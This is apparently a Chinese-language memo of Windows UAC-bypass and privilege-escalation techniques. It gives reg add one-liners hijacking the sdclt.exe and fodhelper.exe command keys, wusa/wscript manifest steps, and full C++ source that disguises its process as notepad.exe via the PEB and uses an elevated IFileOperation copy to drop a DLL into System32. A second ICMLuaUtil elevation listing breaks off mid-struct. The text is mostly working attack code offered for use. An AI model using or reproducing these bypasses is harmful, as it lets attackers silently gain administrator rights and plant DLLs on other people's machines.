• 常用BypassUAC和GetSystem备忘


    一、 白名单机制UAC绕过

     1.1 Invoke-WScriptBypassUAC(wusa绕过),支持win7,参考https://github.com/Vozzie/uacscript

    //1. 判断操作系统是否为WIN7,是否为普通权限
    //2. Temp目录释放文件wscript.exe.manifest
    //3. 使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩
    //4. 使用wusa将压缩包解压缩,将wscript.exe.manifest和wscript.exe释放到c:\windows目录
    //5. Payload保存在Appdata文件夹的ADS中
    //6. 使用c:\Windows\wscript.exe执行payload,实现管理员权限执行payload,绕过UAC

     1.2 sdclt.exe绕过,支持win7、win10,修改注册表键值

    //reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c powershell.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f

     1.3 fodhelper.exe绕过,仅支持win10

    //reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "cmd.exe /c powershell.exe" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f

    二、COM接口UAC绕过

      2.1  IFileOperation越权拷贝文件

      执行进程需要是可信进程,一般注入到explorer等进程执行,或者通过rundll32,或者通过修改PEB,越权执行IFileOperation的拷贝,参考https://www.secpulse.com/archives/72563.html

    #include <cstdio>
    #include <Windows.h>
    #include <string>
    #include <tlhelp32.h>
    EXTERN_C IMAGE_DOS_HEADER __ImageBase;
    
    #include <Shobjidl.h>
    #include <string>
    #include <strsafe.h>
    
    #define RTL_MAX_DRIVE_LETTERS 32
    #define GDI_HANDLE_BUFFER_SIZE32  34
    #define GDI_HANDLE_BUFFER_SIZE64  60
    #define GDI_BATCH_BUFFER_SIZE 310
    
    #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
    #ifndef NT_SUCCESS
    #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
    #endif
    
    #if !defined(_M_X64)
    #define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
    #else
    #define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
    #endif
    
    typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
    typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
    typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
    
    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR  Buffer;
    } UNICODE_STRING;
    typedef UNICODE_STRING *PUNICODE_STRING;
    
    
    typedef struct _STRING {
        USHORT Length;
        USHORT MaximumLength;
        PCHAR Buffer;
    } STRING;
    typedef STRING *PSTRING;
    
    typedef struct _CLIENT_ID {
        HANDLE UniqueProcess;
        HANDLE UniqueThread;
    } CLIENT_ID, *PCLIENT_ID;
    
    typedef struct _CLIENT_ID64 {
        ULONG64 UniqueProcess;
        ULONG64 UniqueThread;
    } CLIENT_ID64, *PCLIENT_ID64;
    
    typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
        LIST_ENTRY InLoadOrderLinks;
        LIST_ENTRY InMemoryOrderLinks;
        union
        {
            LIST_ENTRY InInitializationOrderLinks;
            LIST_ENTRY InProgressLinks;
        } DUMMYUNION0;
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        union
        {
            ULONG Flags;
            struct
            {
                ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
                ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
                ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
                ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
                ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
                ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
                ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
                ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
                ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
                ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
                ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
                ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
                ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
                ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
                ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
                ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
                ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
                ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
                ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
                ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
                ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
                ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
                ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
                ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
                ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
                ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
                ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
                ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
            };
        } ENTRYFLAGSUNION;
        WORD ObsoleteLoadCount;
        WORD TlsIndex;
        union
        {
            LIST_ENTRY HashLinks;
            struct
            {
                PVOID SectionPointer;
                ULONG CheckSum;
            };
        } DUMMYUNION1;
        union
        {
            ULONG TimeDateStamp;
            PVOID LoadedImports;
        } DUMMYUNION2;
        //fields below removed for compatibility
    } LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
    typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
    
    typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
    
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        BOOLEAN Initialized;
        HANDLE SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
        PVOID EntryInProgress;
        BOOLEAN ShutdownInProgress;
        HANDLE ShutdownThreadId;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    
    
    typedef struct _CURDIR {
        UNICODE_STRING DosPath;
        HANDLE Handle;
    } CURDIR, *PCURDIR;
    
    typedef struct _RTL_DRIVE_LETTER_CURDIR {
        USHORT Flags;
        USHORT Length;
        ULONG TimeStamp;
        STRING DosPath;
    } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
    
    
    typedef struct _RTL_USER_PROCESS_PARAMETERS {
        ULONG MaximumLength;
        ULONG Length;
    
        ULONG Flags;
        ULONG DebugFlags;
    
        HANDLE ConsoleHandle;
        ULONG ConsoleFlags;
        HANDLE StandardInput;
        HANDLE StandardOutput;
        HANDLE StandardError;
    
        CURDIR CurrentDirectory;
        UNICODE_STRING DllPath;
        UNICODE_STRING ImagePathName;
        UNICODE_STRING CommandLine;
        PVOID Environment;
    
        ULONG StartingX;
        ULONG StartingY;
        ULONG CountX;
        ULONG CountY;
        ULONG CountCharsX;
        ULONG CountCharsY;
        ULONG FillAttribute;
    
        ULONG WindowFlags;
        ULONG ShowWindowFlags;
        UNICODE_STRING WindowTitle;
        UNICODE_STRING DesktopInfo;
        UNICODE_STRING ShellInfo;
        UNICODE_STRING RuntimeData;
        RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
    
        ULONG EnvironmentSize;
        ULONG EnvironmentVersion;
        PVOID PackageDependencyData; //8+
        ULONG ProcessGroupId;
        // ULONG LoaderThreads;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    
    typedef struct _PEB {
        BOOLEAN InheritedAddressSpace;
        BOOLEAN ReadImageFileExecOptions;
        BOOLEAN BeingDebugged;
        union
        {
            BOOLEAN BitField;
            struct
            {
                BOOLEAN ImageUsesLargePages : 1;
                BOOLEAN IsProtectedProcess : 1;
                BOOLEAN IsImageDynamicallyRelocated : 1;
                BOOLEAN SkipPatchingUser32Forwarders : 1;
                BOOLEAN IsPackagedProcess : 1;
                BOOLEAN IsAppContainer : 1;
                BOOLEAN IsProtectedProcessLight : 1;
                BOOLEAN IsLongPathAwareProcess : 1;
            };
        };
        HANDLE Mutant;
    
        PVOID ImageBaseAddress;
        PPEB_LDR_DATA Ldr;
        PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
        PVOID SubSystemData;
        PVOID ProcessHeap;
        PRTL_CRITICAL_SECTION FastPebLock;
        PVOID AtlThunkSListPtr;
        PVOID IFEOKey;
        union
        {
            ULONG CrossProcessFlags;
            struct
            {
                ULONG ProcessInJob : 1;
                ULONG ProcessInitializing : 1;
                ULONG ProcessUsingVEH : 1;
                ULONG ProcessUsingVCH : 1;
                ULONG ProcessUsingFTH : 1;
                ULONG ProcessPreviouslyThrottled : 1;
                ULONG ProcessCurrentlyThrottled : 1;
                ULONG ReservedBits0 : 25;
            };
            ULONG EnvironmentUpdateCount;
        };
        union
        {
            PVOID KernelCallbackTable;
            PVOID UserSharedInfoPtr;
        };
        ULONG SystemReserved[1];
        ULONG AtlThunkSListPtr32;
        PVOID ApiSetMap;
        ULONG TlsExpansionCounter;
        PVOID TlsBitmap;
        ULONG TlsBitmapBits[2];
        PVOID ReadOnlySharedMemoryBase;
        PVOID HotpatchInformation;
        PVOID *ReadOnlyStaticServerData;
        PVOID AnsiCodePageData;
        PVOID OemCodePageData;
        PVOID UnicodeCaseTableData;
    
        ULONG NumberOfProcessors;
        ULONG NtGlobalFlag;
    
        LARGE_INTEGER CriticalSectionTimeout;
        SIZE_T HeapSegmentReserve;
        SIZE_T HeapSegmentCommit;
        SIZE_T HeapDeCommitTotalFreeThreshold;
        SIZE_T HeapDeCommitFreeBlockThreshold;
    
        ULONG NumberOfHeaps;
        ULONG MaximumNumberOfHeaps;
        PVOID *ProcessHeaps;
    
        PVOID GdiSharedHandleTable;
        PVOID ProcessStarterHelper;
        ULONG GdiDCAttributeList;
    
        PRTL_CRITICAL_SECTION LoaderLock;
    
        ULONG OSMajorVersion;
        ULONG OSMinorVersion;
        USHORT OSBuildNumber;
        USHORT OSCSDVersion;
        ULONG OSPlatformId;
        ULONG ImageSubsystem;
        ULONG ImageSubsystemMajorVersion;
        ULONG ImageSubsystemMinorVersion;
        ULONG_PTR ImageProcessAffinityMask;
        GDI_HANDLE_BUFFER GdiHandleBuffer;
        PVOID PostProcessInitRoutine;
    
        PVOID TlsExpansionBitmap;
        ULONG TlsExpansionBitmapBits[32];
    
        ULONG SessionId;
    
        ULARGE_INTEGER AppCompatFlags;
        ULARGE_INTEGER AppCompatFlagsUser;
        PVOID pShimData;
        PVOID AppCompatInfo;
    
        UNICODE_STRING CSDVersion;
    
        PVOID ActivationContextData;
        PVOID ProcessAssemblyStorageMap;
        PVOID SystemDefaultActivationContextData;
        PVOID SystemAssemblyStorageMap;
    
        SIZE_T MinimumStackCommit;
    
        PVOID *FlsCallback;
        LIST_ENTRY FlsListHead;
        PVOID FlsBitmap;
        ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
        ULONG FlsHighIndex;
    
        PVOID WerRegistrationData;
        PVOID WerShipAssertPtr;
        PVOID pContextData;
        PVOID pImageHeaderHash;
        union
        {
            ULONG TracingFlags;
            struct
            {
                ULONG HeapTracingEnabled : 1;
                ULONG CritSecTracingEnabled : 1;
                ULONG LibLoaderTracingEnabled : 1;
                ULONG SpareTracingBits : 29;
            };
        };
        ULONGLONG CsrServerReadOnlySharedMemoryBase;
    } PEB, *PPEB;
    
    typedef struct _GDI_TEB_BATCH {
        ULONG    Offset;
        UCHAR    Alignment[4];
        ULONG_PTR HDC;
        ULONG    Buffer[GDI_BATCH_BUFFER_SIZE];
    } GDI_TEB_BATCH, *PGDI_TEB_BATCH;
    
    typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
        ULONG Flags;
        PSTR FrameName;
    } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
    
    typedef struct _TEB_ACTIVE_FRAME {
        ULONG Flags;
        struct _TEB_ACTIVE_FRAME *Previous;
        PTEB_ACTIVE_FRAME_CONTEXT Context;
    } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
    
    typedef struct _TEB {
        NT_TIB NtTib;
    
        PVOID EnvironmentPointer;
        CLIENT_ID ClientId;
        PVOID ActiveRpcHandle;
        PVOID ThreadLocalStoragePointer;
        PPEB ProcessEnvironmentBlock;
    
        ULONG LastErrorValue;
        ULONG CountOfOwnedCriticalSections;
        PVOID CsrClientThread;
        PVOID Win32ThreadInfo;
        ULONG User32Reserved[26];
        ULONG UserReserved[5];
        PVOID WOW32Reserved;
        LCID CurrentLocale;
        ULONG FpSoftwareStatusRegister;
        PVOID SystemReserved1[54];
        NTSTATUS ExceptionCode;
        PVOID ActivationContextStackPointer;
    #if defined(_M_X64)
        UCHAR SpareBytes[24];
    #else
        UCHAR SpareBytes[36];
    #endif
        ULONG TxFsContext;
    
        GDI_TEB_BATCH GdiTebBatch;
        CLIENT_ID RealClientId;
        HANDLE GdiCachedProcessHandle;
        ULONG GdiClientPID;
        ULONG GdiClientTID;
        PVOID GdiThreadLocalInfo;
        ULONG_PTR Win32ClientInfo[62];
        PVOID glDispatchTable[233];
        ULONG_PTR glReserved1[29];
        PVOID glReserved2;
        PVOID glSectionInfo;
        PVOID glSection;
        PVOID glTable;
        PVOID glCurrentRC;
        PVOID glContext;
    
        NTSTATUS LastStatusValue;
        UNICODE_STRING StaticUnicodeString;
        WCHAR StaticUnicodeBuffer[261];
    
        PVOID DeallocationStack;
        PVOID TlsSlots[64];
        LIST_ENTRY TlsLinks;
    
        PVOID Vdm;
        PVOID ReservedForNtRpc;
        PVOID DbgSsReserved[2];
    
        ULONG HardErrorMode;
    #if defined(_M_X64)
        PVOID Instrumentation[11];
    #else
        PVOID Instrumentation[9];
    #endif
        GUID ActivityId;
    
        PVOID SubProcessTag;
        PVOID EtwLocalData;
        PVOID EtwTraceData;
        PVOID WinSockData;
        ULONG GdiBatchCount;
    
        union
        {
            PROCESSOR_NUMBER CurrentIdealProcessor;
            ULONG IdealProcessorValue;
            struct
            {
                UCHAR ReservedPad0;
                UCHAR ReservedPad1;
                UCHAR ReservedPad2;
                UCHAR IdealProcessor;
            };
        };
    
        ULONG GuaranteedStackBytes;
        PVOID ReservedForPerf;
        PVOID ReservedForOle;
        ULONG WaitingOnLoaderLock;
        PVOID SavedPriorityState;
        ULONG_PTR SoftPatchPtr1;
        PVOID ThreadPoolData;
        PVOID *TlsExpansionSlots;
    #if defined(_M_X64)
        PVOID DeallocationBStore;
        PVOID BStoreLimit;
    #endif
        ULONG MuiGeneration;
        ULONG IsImpersonating;
        PVOID NlsCache;
        PVOID pShimData;
        ULONG HeapVirtualAffinity;
        HANDLE CurrentTransactionHandle;
        PTEB_ACTIVE_FRAME ActiveFrame;
        PVOID FlsData;
    
        PVOID PreferredLanguages;
        PVOID UserPrefLanguages;
        PVOID MergedPrefLanguages;
        ULONG MuiImpersonation;
    
        union
        {
            USHORT CrossTebFlags;
            USHORT SpareCrossTebBits : 16;
        };
        union
        {
            USHORT SameTebFlags;
            struct
            {
                USHORT SafeThunkCall : 1;
                USHORT InDebugPrint : 1;
                USHORT HasFiberData : 1;
                USHORT SkipThreadAttach : 1;
                USHORT WerInShipAssertCode : 1;
                USHORT RanProcessInit : 1;
                USHORT ClonedThread : 1;
                USHORT SuppressDebugMsg : 1;
                USHORT DisableUserStackWalk : 1;
                USHORT RtlExceptionAttached : 1;
                USHORT InitialThread : 1;
                USHORT SpareSameTebBits : 1;
            };
        };
    
        PVOID TxnScopeEnterCallback;
        PVOID TxnScopeExitCallback;
        PVOID TxnScopeContext;
        ULONG LockCount;
        ULONG SpareUlong0;
        PVOID ResourceRetValue;
    } TEB, *PTEB;
    
    
    typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
        _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
        _In_    PVOID Context,
        _Inout_ BOOLEAN *StopEnumeration
        );
    
    typedef PVOID NTAPI RTLINITUNICODESTRING(
        _Inout_    PUNICODE_STRING DestinationString,
        _In_opt_ PCWSTR SourceString
    );
    typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING;
    LPRTLINITUNICODESTRING            RtlInitUnicodeString;
    
    typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
        _In_ PRTL_CRITICAL_SECTION CriticalSection
    );
    typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION;
    LPRTLENTERCRITICALSECTION            RtlEnterCriticalSection;
    
    typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
        _In_ PRTL_CRITICAL_SECTION CriticalSection
    );
    typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION;
    LPRTLLEAVECRITICALSECTION            RtlLeaveCriticalSection;
    
    typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
        _In_opt_ ULONG Flags,
        _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
        _In_opt_ PVOID Context);
    typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES;
    LPLDRENUMERATELOADEDMODULES            LdrEnumerateLoadedModules;
    
    typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
        _In_        HANDLE ProcessHandle,
        _Inout_     PVOID *BaseAddress,
        _In_        ULONG_PTR ZeroBits,
        _Inout_     PSIZE_T RegionSize,
        _In_        ULONG AllocationType,
        _In_        ULONG Protect
    );
    typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY;
    LPNTALLOCATEVIRTUALMEMORY    NtAllocateVirtualMemory;
    
    LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe");
    
    VOID NTAPI supxLdrEnumModulesCallback(
        _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
        _In_ PVOID Context,
        _Inout_ BOOLEAN *StopEnumeration
    )
    {
        PPEB Peb = (PPEB)Context;
    
        if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
            RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
            RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer
            *StopEnumeration = TRUE;
        }
        else {
            *StopEnumeration = FALSE;
        }
    }
    
    __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
    
    VOID supMasqueradeProcess(
        VOID
    )
    {
        NTSTATUS Status;
        PPEB    Peb = NtCurrentPeb();
        SIZE_T  RegionSize;
    
        PVOID g_lpszExplorer = NULL;
        RegionSize = 0x1000;
    
        Status = NtAllocateVirtualMemory(
            NtCurrentProcess(),
            &g_lpszExplorer,
            0,
            &RegionSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE);
    
        if (NT_SUCCESS(Status)) {
            RtlEnterCriticalSection(Peb->FastPebLock);
    
            RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
            RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
    
            RtlLeaveCriticalSection(Peb->FastPebLock);
    
            LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
        }
    }
    
    
    int main()
    {
    
        HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
        if (hinstStub)
        {
            RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");
            if (!RtlInitUnicodeString)
            {
                printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL");
                exit(0);
            }
    
            RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection");
            if (!RtlEnterCriticalSection)
            {
                printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL");
                exit(0);
            }
    
            RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection");
            if (!RtlLeaveCriticalSection)
            {
                printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL");
                exit(0);
            }
    
            LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules");
            if (!LdrEnumerateLoadedModules)
            {
                printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL");
                exit(0);
            }
    
            NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
            if (!NtAllocateVirtualMemory)
            {
                printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL");
                exit(0);
            }
        }
        else
        {
            printf("Could not GetModuleHandle of NTDLL.DLL");
            exit(0);
        }
    
        supMasqueradeProcess();
    
    HMODULE hModule = NULL;
        IFileOperation *fileOperation = NULL;
        LPCWSTR dllName = L"ntwdblib.dll";
        LPCWSTR SourceFullPath = L"C:\\6\\ntwdblib.dll";
        LPCWSTR DestPath = L"C:\\windows\\System32";
        HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
        if (SUCCEEDED(hr)) {
            hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&fileOperation));
            if (SUCCEEDED(hr)) {
                hr = fileOperation->SetOperationFlags(
                    FOF_NOCONFIRMATION |
                    FOF_SILENT |
                    FOFX_SHOWELEVATIONPROMPT |
                    FOFX_NOCOPYHOOKS |
                    FOFX_REQUIREELEVATION |
                    FOF_NOERRORUI);
                if (SUCCEEDED(hr)) {
                    IShellItem *from = NULL, *to = NULL;
                    hr = SHCreateItemFromParsingName(SourceFullPath, NULL, IID_PPV_ARGS(&from));
                    if (SUCCEEDED(hr)) {
                        if (DestPath)
                            hr = SHCreateItemFromParsingName(DestPath, NULL, IID_PPV_ARGS(&to));
                        if (SUCCEEDED(hr)) {
                            hr = fileOperation->CopyItem(from, to, dllName, NULL);
                            if (NULL != to)
                                to->Release();
                        }
                        from->Release();
                    }
                    if (SUCCEEDED(hr)) {
                        hr = fileOperation->PerformOperations();
                    }
                }
                fileOperation->Release();
            }
            CoUninitialize();
        }
    
    
        getchar();
        return 0;
    }
    View Code

        2.2 ICMLuaUtil越权执行

       执行进程需要是可信进程,一般注入到explorer等进程执行,或者通过rundll32,或者通过修改PEB,越权执行ICMLuaUtil的ShellExec

    #include <cstdio>
    #include <Windows.h>
    #include <string>
    #include <tlhelp32.h>
    EXTERN_C IMAGE_DOS_HEADER __ImageBase;
    
    #include <Shobjidl.h>
    #include <string>
    #include <strsafe.h>
    
    #define RTL_MAX_DRIVE_LETTERS 32
    #define GDI_HANDLE_BUFFER_SIZE32  34
    #define GDI_HANDLE_BUFFER_SIZE64  60
    #define GDI_BATCH_BUFFER_SIZE 310
    
    #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
    #ifndef NT_SUCCESS
    #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
    #endif
    
    #if !defined(_M_X64)
    #define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
    #else
    #define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
    #endif
    
    typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
    typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
    typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
    
    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR  Buffer;
    } UNICODE_STRING;
    typedef UNICODE_STRING *PUNICODE_STRING;
    
    
    typedef struct _STRING {
        USHORT Length;
        USHORT MaximumLength;
        PCHAR Buffer;
    } STRING;
    typedef STRING *PSTRING;
    
    typedef struct _CLIENT_ID {
        HANDLE UniqueProcess;
        HANDLE UniqueThread;
    } CLIENT_ID, *PCLIENT_ID;
    
    typedef struct _CLIENT_ID64 {
        ULONG64 UniqueProcess;
        ULONG64 UniqueThread;
    } CLIENT_ID64, *PCLIENT_ID64;
    
    typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
        LIST_ENTRY InLoadOrderLinks;
        LIST_ENTRY InMemoryOrderLinks;
        union
        {
            LIST_ENTRY InInitializationOrderLinks;
            LIST_ENTRY InProgressLinks;
        } DUMMYUNION0;
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        union
        {
            ULONG Flags;
            struct
            {
                ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1
                ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1
                ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1
                ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1
                ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1
                ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1
                ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1
                ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1
                ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1
                ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1
                ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2
                ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1
                ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1
                ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1
                ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1
                ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2
                ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1
                ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1
                ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1
                ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1
                ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1
                ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1
                ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1
                ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1
                ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2
                ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1
                ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2
                ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1
            };
        } ENTRYFLAGSUNION;
        WORD ObsoleteLoadCount;
        WORD TlsIndex;
        union
        {
            LIST_ENTRY HashLinks;
            struct
            {
                PVOID SectionPointer;
                ULONG CheckSum;
            };
        } DUMMYUNION1;
        union
        {
            ULONG TimeDateStamp;
            PVOID LoadedImports;
        } DUMMYUNION2;
        //fields below removed for compatibility
    } LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE;
    typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
    
    typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
    
    typedef struct _PEB_LDR_DATA {
        ULONG Length;
        BOOLEAN Initialized;
        HANDLE SsHandle;
        LIST_ENTRY InLoadOrderModuleList;
        LIST_ENTRY InMemoryOrderModuleList;
        LIST_ENTRY InInitializationOrderModuleList;
        PVOID EntryInProgress;
        BOOLEAN ShutdownInProgress;
        HANDLE ShutdownThreadId;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;
    
    
    typedef struct _CURDIR {
        UNICODE_STRING DosPath;
        HANDLE Handle;
    } CURDIR, *PCURDIR;
    
    typedef struct _RTL_DRIVE_LETTER_CURDIR {
        USHORT Flags;
        USHORT Length;
        ULONG TimeStamp;
        STRING DosPath;
